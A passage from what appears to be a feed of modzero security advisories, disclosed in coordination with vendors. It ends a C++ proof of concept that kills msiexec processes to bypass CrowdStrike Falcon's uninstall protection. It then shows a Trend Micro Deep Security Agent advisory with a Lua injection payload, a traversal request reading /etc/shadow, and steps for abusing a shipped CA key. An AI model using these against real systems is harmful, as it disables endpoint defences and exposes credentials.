</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        HMODULE h_mod = 0;
</span></span><span class="line"><span class="cl">        DWORD c_need = 0;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        if (EnumProcessModules(h_proc, &amp;h_mod, sizeof(h_mod), &amp;c_need)) {
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            GetModuleBaseName(h_proc, h_mod, process_name,
</span></span><span class="line"><span class="cl">                sizeof(process_name) / sizeof(char));
</span></span><span class="line"><span class="cl">        }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    } else {
</span></span><span class="line"><span class="cl">        return;
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">    if (wcsstr(_wcslwr(process_name), __T(&#34;msiexec&#34;))) {
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        bool already_found = (
</span></span><span class="line"><span class="cl">            std::find(
</span></span><span class="line"><span class="cl">                g_msiexec_instances.begin(),
</span></span><span class="line"><span class="cl">                g_msiexec_instances.end(),
</span></span><span class="line"><span class="cl">                process_id) != g_msiexec_instances.end()
</span></span><span class="line"><span class="cl">            );
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        if (!already_found) {
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            g_msiexec_instance_count++;
</span></span><span class="line"><span class="cl">            std::cout &lt;&lt; &#34;[+] Installer spawned process: &#34; &lt;&lt; process_id &lt;&lt; std::endl;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            g_msiexec_instances.push_front(process_id);
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            // If it&#39;s the third process, we try to kill it to produce open MSIHandles.
</span></span><span class="line"><span class="cl">            // This will break the uninstaller token check.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            if (g_msiexec_instance_count == 4 || g_msiexec_instance_count == 5) {
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                std::cout &lt;&lt; &#34;[+] Killing process: &#34; &lt;&lt; process_id &lt;&lt; std::endl;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                if (!TerminateProcess(h_proc, 123)) {
</span></span><span class="line"><span class="cl">                    std::cout &lt;&lt; &#34;[!] Failed to kill process with PID &#34; &lt;&lt; process_id &lt;&lt; &#34;: &#34; &lt;&lt; GetLastError() &lt;&lt; std::endl;
</span></span><span class="line"><span class="cl">                }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                if (g_msiexec_instance_count == 5) {
</span></span><span class="line"><span class="cl">                    std::cout &lt;&lt; &#34;[+] Uninstall Protection should be bypassed.&#34; &lt;&lt; std::endl;
</span></span><span class="line"><span class="cl">                    exit(0);
</span></span><span class="line"><span class="cl">                }
</span></span><span class="line"><span class="cl">            }
</span></span><span class="line"><span class="cl">        }
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    CloseHandle(h_proc);
</span></span><span class="line"><span class="cl">}
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">int main(int argc, char* argv[])
</span></span><span class="line"><span class="cl">{
</span></span><span class="line"><span class="cl">    DWORD proc_ids[1024] = { 0 };
</span></span><span class="line"><span class="cl">    DWORD c_need = 0;
</span></span><span class="line"><span class="cl">    DWORD c_procs = 0;
</span></span><span class="line"><span class="cl">    DWORD i = 0;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    if (argc != 2) {
</span></span><span class="line"><span class="cl">        std::cout &lt;&lt; &#34;Usage:&#34; &lt;&lt; std::endl &lt;&lt; argv[0] &lt;&lt; &#34; PATH_TO_CsAgent.LionLanner.msi&#34; &lt;&lt; std::endl;
</span></span><span class="line"><span class="cl">        return 1;
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    // increase priority to realtime and start uninstall
</span></span><span class="line"><span class="cl">    SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    std::string path = std::string(argv[1]);
</span></span><span class="line"><span class="cl">    unsigned first = path.find(&#34;{&#34;);
</span></span><span class="line"><span class="cl">    unsigned last = path.find_last_of(&#34;}&#34;);
</span></span><span class="line"><span class="cl">    std::string guid = path.substr (first,last-first+1);
</span></span><span class="line"><span class="cl">    std::string cmd = &#34;start msiexec /x &#34; + guid;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    system(cmd.c_str());
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    // now listen for processes popping up
</span></span><span class="line"><span class="cl">    while (1) {
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        if (!EnumProcesses(proc_ids, sizeof(proc_ids), &amp;c_need)) {
</span></span><span class="line"><span class="cl">            std::cout &lt;&lt; &#34;[-] Failed to read processes.&#34; &lt;&lt; std::endl;
</span></span><span class="line"><span class="cl">            return 1;
</span></span><span class="line"><span class="cl">        }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        c_procs = c_need / sizeof(DWORD);
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        // Check every process ID
</span></span><span class="line"><span class="cl">        for (i = 0; i &lt; c_procs; i++) {
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            if (proc_ids[i] != 0) {
</span></span><span class="line"><span class="cl">                CheckProcess(proc_ids[i]);
</span></span><span class="line"><span class="cl">            }
</span></span><span class="line"><span class="cl">        }
</span></span><span class="line"><span class="cl">    }
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    return 0;
</span></span><span class="line"><span class="cl">}
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">To use the Proof  of Concept, the code  must be compiled with  Visual
</span></span><span class="line"><span class="cl">Studio,    and    be    run    as    administrator,    pointing    to
</span></span><span class="line"><span class="cl">`CsAgent.LionLanner.msi` as argument e.g.:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">.\CSFalconTokenBypass.exe &#39;C:\ProgramData\Package Cache\{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}v6.XX.XX.0\CsAgent.LionLanner.msi&#39;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">After executing it, the software removal procedure starts and a popup
</span></span><span class="line"><span class="cl">with an error message, that the  token is invalid will show up. After
</span></span><span class="line"><span class="cl">closing the  popup,  the uninstallation  continues and removes
</span></span><span class="line"><span class="cl">all components.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">6. Fix
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">- n/a
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">7. Credits
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  * Pascal Zenker (parzel) of modzero
</span></span><span class="line"><span class="cl">  * Max Moser (mmo) of modzero
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">8. About modzero
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The independent  Swiss-German  company  modzero assists  clients with
</span></span><span class="line"><span class="cl">security analysis  in the complex  areas of computer  technology. The
</span></span><span class="line"><span class="cl">focus  lies on  highly  detailed  technical  analysis  of   concepts,
</span></span><span class="line"><span class="cl">software  and  hardware  components as  well as  the  development  of
</span></span><span class="line"><span class="cl">individual  solutions.  Colleagues  at  modzero work  exclusively  in
</span></span><span class="line"><span class="cl">practical, highly  technical computer-security  areas and can draw on
</span></span><span class="line"><span class="cl">decades of  experience  in various  platforms,  system concepts,  and
</span></span><span class="line"><span class="cl">designs.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">https://www.modzero.com contact@modzero.com
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">modzero follows coordinated disclosure practices described here:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">https://www.modzero.com/static/modzero_Disclosure_Policy.pdf.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">This policy  should  have been  sent to  the vendor  along with  this
</span></span><span class="line"><span class="cl">security advisory.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">9. Disclaimer
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The information  in the advisory  is believed  to be accurate  at the
</span></span><span class="line"><span class="cl">time of publishing based  on currently available  information. Use of
</span></span><span class="line"><span class="cl">the information constitutes acceptance for use in an AS IS condition.
</span></span><span class="line"><span class="cl">There are no  warranties  concerning  this  information. Neither  the
</span></span><span class="line"><span class="cl">author  nor the  publisher  accepts  any liability  for  any  direct,
</span></span><span class="line"><span class="cl">indirect, or  consequential  loss or  damage  arising from  using, or
</span></span><span class="line"><span class="cl">reliance on, this information.
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded></item><item><title>[MZ-22-01] Meeting Owl</title><link>https://modzero.com/en/advisories/mz-22-01-meeting-owl/</link><pubDate>Tue, 31 May 2022 10:00:00 +0200</pubDate><author>Christoph Wolff, Joel Gunzenreiner, Katharina Männle, Max Moser, Pascal Zenker, Thorsten Schröder</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-22-01-meeting-owl/</guid><description>Several critical security issues in the Owl Lab&amp;rsquo;s Meeting Owl product universe</description><content:encoded><![CDATA[<p>The full disclosure report can be found <a href="/static/meetingowl/Meeting_Owl_Pro_Security_Disclosure_Report_RELEASE.pdf">here</a>, an overview of the vulnerabilities is given in our <a href="https://modzero.com/en/blog/hoot-hoot-pwn/">blog post</a>.</p>
]]></content:encoded></item><item><title>[MZ-21-02] Trend Micro Deep Security Agent for Linux</title><link>https://modzero.com/en/advisories/mz-21-02-trend-micro-deep-security-agent/</link><pubDate>Wed, 19 Jan 2022 00:00:00 +0200</pubDate><author>Fluepke</author><category>advisory</category><guid>https://modzero.com/en/advisories/mz-21-02-trend-micro-deep-security-agent/</guid><description>Local privilege escalation and directory traversal vulnerabilities discovered in the Trend Micro Deep Security Agent for Linux</description><content:encoded><![CDATA[<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span><span class="lnt">149
</span><span class="lnt">150
</span><span class="lnt">151
</span><span class="lnt">152
</span><span class="lnt">153
</span><span class="lnt">154
</span><span class="lnt">155
</span><span class="lnt">156
</span><span class="lnt">157
</span><span class="lnt">158
</span><span class="lnt">159
</span><span class="lnt">160
</span><span class="lnt">161
</span><span class="lnt">162
</span><span class="lnt">163
</span><span class="lnt">164
</span><span class="lnt">165
</span><span class="lnt">166
</span><span class="lnt">167
</span><span class="lnt">168
</span><span class="lnt">169
</span><span class="lnt">170
</span><span class="lnt">171
</span><span class="lnt">172
</span><span class="lnt">173
</span><span class="lnt">174
</span><span class="lnt">175
</span><span class="lnt">176
</span><span class="lnt">177
</span><span class="lnt">178
</span><span class="lnt">179
</span><span class="lnt">180
</span><span class="lnt">181
</span><span class="lnt">182
</span><span class="lnt">183
</span><span class="lnt">184
</span><span class="lnt">185
</span><span class="lnt">186
</span><span class="lnt">187
</span><span class="lnt">188
</span><span class="lnt">189
</span><span class="lnt">190
</span><span class="lnt">191
</span><span class="lnt">192
</span><span class="lnt">193
</span><span class="lnt">194
</span><span class="lnt">195
</span><span class="lnt">196
</span><span class="lnt">197
</span><span class="lnt">198
</span><span class="lnt">199
</span><span class="lnt">200
</span><span class="lnt">201
</span><span class="lnt">202
</span><span class="lnt">203
</span><span class="lnt">204
</span><span class="lnt">205
</span><span class="lnt">206
</span><span class="lnt">207
</span><span class="lnt">208
</span><span class="lnt">209
</span><span class="lnt">210
</span><span class="lnt">211
</span><span class="lnt">212
</span><span class="lnt">213
</span><span class="lnt">214
</span><span class="lnt">215
</span><span class="lnt">216
</span><span class="lnt">217
</span><span class="lnt">218
</span><span class="lnt">219
</span><span class="lnt">220
</span><span class="lnt">221
</span><span class="lnt">222
</span><span class="lnt">223
</span><span class="lnt">224
</span><span class="lnt">225
</span><span class="lnt">226
</span><span class="lnt">227
</span><span class="lnt">228
</span><span class="lnt">229
</span><span class="lnt">230
</span><span class="lnt">231
</span><span class="lnt">232
</span><span class="lnt">233
</span><span class="lnt">234
</span><span class="lnt">235
</span><span class="lnt">236
</span><span class="lnt">237
</span><span class="lnt">238
</span><span class="lnt">239
</span><span class="lnt">240
</span><span class="lnt">241
</span><span class="lnt">242
</span><span class="lnt">243
</span><span class="lnt">244
</span><span class="lnt">245
</span><span class="lnt">246
</span><span class="lnt">247
</span><span class="lnt">248
</span><span class="lnt">249
</span><span class="lnt">250
</span><span class="lnt">251
</span><span class="lnt">252
</span><span class="lnt">253
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">------------------------------------------------------------------v1-
</span></span><span class="line"><span class="cl">modzero Security Advisory [MZ-21-02]:
</span></span><span class="line"><span class="cl">Critical Vulnerabilities in Trend Micro Deep Security Agent for Linux
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">1. Timeline
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 2021-09-07: Initial contact, PGP key exchange, Advisory (draft)
</span></span><span class="line"><span class="cl">              along with fully working exploits written in Python
</span></span><span class="line"><span class="cl">              submitted.
</span></span><span class="line"><span class="cl">* 2021-09-08: Received a (probably automated) plaintext reply full-
</span></span><span class="line"><span class="cl">              quoting the previously PGP-encrypted initial email.
</span></span><span class="line"><span class="cl">* 2021-09-15: Asked for status update and the usage of PGP.
</span></span><span class="line"><span class="cl">* 2021-09-18: Received confirmation for the observed behavior.
</span></span><span class="line"><span class="cl">* 2021-09-22: Trend Micro shared a status update: They are working on
</span></span><span class="line"><span class="cl">              a fix, ETA is end of October 2021.
</span></span><span class="line"><span class="cl">* 2021-09-23: Asked for a CVE number.
</span></span><span class="line"><span class="cl">* 2021-09-27: Received confirmation that vulnerabilities are valid.
</span></span><span class="line"><span class="cl">              Assignment of CVE would depend on fix to be released.
</span></span><span class="line"><span class="cl">* 2021-10-12: Received a test build, that supposedly fixes code
</span></span><span class="line"><span class="cl">              injection and directory traversal issues.
</span></span><span class="line"><span class="cl">* 2022-01-12: Assignment of CVE numbers: CVE-2022-23119,
</span></span><span class="line"><span class="cl">              CVE-2022-23120
</span></span><span class="line"><span class="cl">* 2022-01-19: Public release
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">2. Summary
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Vendor: Trend Micro
</span></span><span class="line"><span class="cl">Homepage: https://www.trendmicro.com
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Products known to be affected:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">- Deep Security Agent 20.0.0-2740 for Ubuntu
</span></span><span class="line"><span class="cl">- Deep Security Agent 20.0.0-2921 for Ubuntu
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The Trend Micro Deep Security Agent is an agent software for different
</span></span><span class="line"><span class="cl">operating  systems, that  connects with a server  software to  perform
</span></span><span class="line"><span class="cl">tasks related to virus protection.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The Trend Micro Deep Security software suite consists of server and a
</span></span><span class="line"><span class="cl">client (agent) component. After an initial configuration (activation),
</span></span><span class="line"><span class="cl">the clients are managed by the server.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Once installed as instructed by the vendor, the Trend  Micro Deep
</span></span><span class="line"><span class="cl">Security  agent is  running as  root user. A  compromise of the agent
</span></span><span class="line"><span class="cl">results in high privileges on the system.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">If left   unconfigured,  a  machine with  the  Deep  Security   agent
</span></span><span class="line"><span class="cl">installed is vulnerable to a privilege escalation attack, that allows
</span></span><span class="line"><span class="cl">a local attacker to run arbitrary code as root. This is due to a code
</span></span><span class="line"><span class="cl">injection vulnerability in the `ActivateAgent` command, which is sent
</span></span><span class="line"><span class="cl">by the server.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">An addition directory  traversal vulnerability in the `GetCopiedFile`
</span></span><span class="line"><span class="cl">command allows a remote attacker to read arbitrary files from the
</span></span><span class="line"><span class="cl">filesystem.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The  Trend Micro  Deep  Security  agent  software  is  shipped   with
</span></span><span class="line"><span class="cl">hardcoded credentials such as private key material.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">3. Details
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 3.1. Local Privilege Escalation
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The Trend Micro  Deep Security  Agent does  not perform  proper input
</span></span><span class="line"><span class="cl">sanitization,  which allows a local  unprivileged  attacker to inject
</span></span><span class="line"><span class="cl">and run code as `root` user.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The `ActivateAgent`  remote procedure call can  be used to inject lua
</span></span><span class="line"><span class="cl">code as can be seen in the disassembly:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---- listing 1 ----
</span></span><span class="line"><span class="cl">local Activate = function(self)
</span></span><span class="line"><span class="cl">  self.connectionHandler.dom:SetNil(self.activationLogSetting)
</span></span><span class="line"><span class="cl">  self.connectionHandler.dom:SetNil(self.activationCodeSetting)
</span></span><span class="line"><span class="cl">  cb:Invoke(CALLBACKS.PreThreadCreate, self)
</span></span><span class="line"><span class="cl">  if not self.activationThread then
</span></span><span class="line"><span class="cl">    local codeToRun = self.codeToRunFmt:format(dsa.DomString(self.connectionHandler.dom:Get(&#34;uuid&#34;)), self.url, self.activationLogSetting, self.activationCodeSetting)
</span></span><span class="line"><span class="cl">    dsa.LogTrace(_NAME, &#34;Starting thread to execute: %s&#34;, codeToRun)
</span></span><span class="line"><span class="cl">    self.activationThread = Thread(codeToRun, &#34;ActivateThread&#34;, self.connectionHandler.dom)
</span></span><span class="line"><span class="cl">  end
</span></span><span class="line"><span class="cl">---- /listing 1 ----
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The  variable `self.url`  is  an  attacker controlled  input (via the
</span></span><span class="line"><span class="cl">`host` HTTP-GET parameter), thus `codeToRun` is attacker controlled.
</span></span><span class="line"><span class="cl">In line 8 of listing 2 that code is executed.
</span></span><span class="line"><span class="cl">An  example  request  sent  with the  `sendCommand` utility, that  is
</span></span><span class="line"><span class="cl">shipped with the agent software looks like this:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---- listing 2 ----
</span></span><span class="line"><span class="cl">./sendCommand --get &#39;ActivateAgent&#39; &#39;host=&#34;,&#34;&#34;,&#34;&#34;);print(&#34;PoC&#34;);aia=Activate(&#34;http&#39;
</span></span><span class="line"><span class="cl">---- /listing 2 ----
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">In the log file, the debug message from line 7 is visible:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---- listing 3 ----
</span></span><span class="line"><span class="cl">2021-08-26 07:30:48.518144 [-0800]: [dsa.Command.ActivateAgent/5] | Starting thread to execute: local Activate = require &#34;dsa.Activate&#34;; local aia = Activate(nil, &#34;https://&#34;,&#34;&#34;,&#34;&#34;);print(&#34;PoC&#34;);aia=Activate(&#34;http:4120/&#34;, &#34;dsa.Activate.logData&#34;, &#34;dsa.Activate.statusCode&#34;); aia:main(); | dsa/Command/ActivateAgent.lua:34:(null) | 792:7FB6077FF640:ConnectionHandlerPool_0004
</span></span><span class="line"><span class="cl">---- /listing 3 ----
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The `print(&#34;PoC&#34;)` command has been successfully injected into
</span></span><span class="line"><span class="cl">`codeToRun`, which is then run, as can be seen in the next line
</span></span><span class="line"><span class="cl">from the log file:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---- listing 4 ----
</span></span><span class="line"><span class="cl">2021-08-26 07:30:48.598320 [-0800]: [Message/3] | PoC | [string &#34;dsa&#34;]:1:(null) | 792:7FB606CFF640:ActivateThread
</span></span><span class="line"><span class="cl">---- /listing 4 ----
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">A more sophisticated PoC that runs the shell code `whoami &gt; /poc` is
</span></span><span class="line"><span class="cl">provided in the &#39;Exploits&#39; section.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 3.2. Arbitrary File Read / Directory Traversal
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The Trend Micro  Deep Security  Agent does  not perform  proper input
</span></span><span class="line"><span class="cl">validation and concatenates  attacker controlled  input to a filepath
</span></span><span class="line"><span class="cl">as shown in the lua disassembly:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---- listing 5 ----
</span></span><span class="line"><span class="cl"> if dsa.OS == &#34;Linux&#34; then
</span></span><span class="line"><span class="cl">    if connectionHandler.dom:Get(&#34;dsa.mode.vmsafeGuest&#34;) then
</span></span><span class="line"><span class="cl">      fname = plpath.join(workDir, &#34;CopyFiles/copied/&#34; .. queryArgs.taskname .. &#34;/&#34; .. queryArgs.fileid)
</span></span><span class="line"><span class="cl">    else
</span></span><span class="line"><span class="cl">      fname = plpath.join(workDir, &#34;guests/0000-0000-0000/CopyFiles/copied/&#34; .. queryArgs.taskname .. &#34;/&#34; .. queryArgs.fileid)
</span></span><span class="line"><span class="cl">    end
</span></span><span class="line"><span class="cl">  else
</span></span><span class="line"><span class="cl">    fname = plpath.join(workDir, &#34;dsa_core\\CopyFiles\\copied\\&#34; .. queryArgs.taskname .. &#34;\\&#34; .. queryArgs.fileid)
</span></span><span class="line"><span class="cl">  end
</span></span><span class="line"><span class="cl">---- /listing 5 ----
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Both   `queryArgs.taskname`  and   `queryArgs.fileid`  are   attacker
</span></span><span class="line"><span class="cl">controlled HTTP GET parameters.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">An example request to get the `/etc/shadow` file with password hashes
</span></span><span class="line"><span class="cl">would look like this:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">`GET https://10.0.0.2:4118/GetCopiedFile?taskname=.&amp;fileid=../../../../../../../etc/shadow`
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">If the agent is  left unconfigured  (has not been  &#39;activated&#39; by the
</span></span><span class="line"><span class="cl">server component)  or the server has  been compromised,  the agent is
</span></span><span class="line"><span class="cl">vulnerable to such an attack.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">* 3.3. Default CA is shipped with a private key
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The Trend  Micro Deep  Security Agent  authenticates  remote  servers
</span></span><span class="line"><span class="cl">using mutual TLS (mTLS): Both the  server and the agent identify each
</span></span><span class="line"><span class="cl">other by presenting a certificate.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The agent software ships  with a hardcoded  default X.509 certificate
</span></span><span class="line"><span class="cl">and a  corresponding  private  key.  Until the  agent is   configured
</span></span><span class="line"><span class="cl">(&#39;activated&#39;)  by the server  component this  certificate  is used in
</span></span><span class="line"><span class="cl">communications with the server. It is stored in the shared object file
</span></span><span class="line"><span class="cl">/opt/ds_agent/lib/dsa_core.so
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The agent software uses a certificate authority (CA) to establish the
</span></span><span class="line"><span class="cl">server&#39;s  identity.  When  the  server  connects to  the  agent,  its
</span></span><span class="line"><span class="cl">certificate is validated against this CA.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">However, the  agent uses its  own certificate  also as a  CA. As this
</span></span><span class="line"><span class="cl">certificate ships with a private key it is possible for an attcker to
</span></span><span class="line"><span class="cl">create and sign their own server certificate, imitate a server and to
</span></span><span class="line"><span class="cl">send commands to the client software.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Thus an attacker can:
</span></span><span class="line"><span class="cl">  * extract the CA (certificate + private key) from the agent software
</span></span><span class="line"><span class="cl">  * generate their own certificate + key
</span></span><span class="line"><span class="cl">  * sign their certificate with the CA taken from the agent software
</span></span><span class="line"><span class="cl">  * use it for further communication with the agent
</span></span><span class="line"><span class="cl">  * configure their own certificate in the agent and &#39;activate&#39; it
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">4. Impact
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
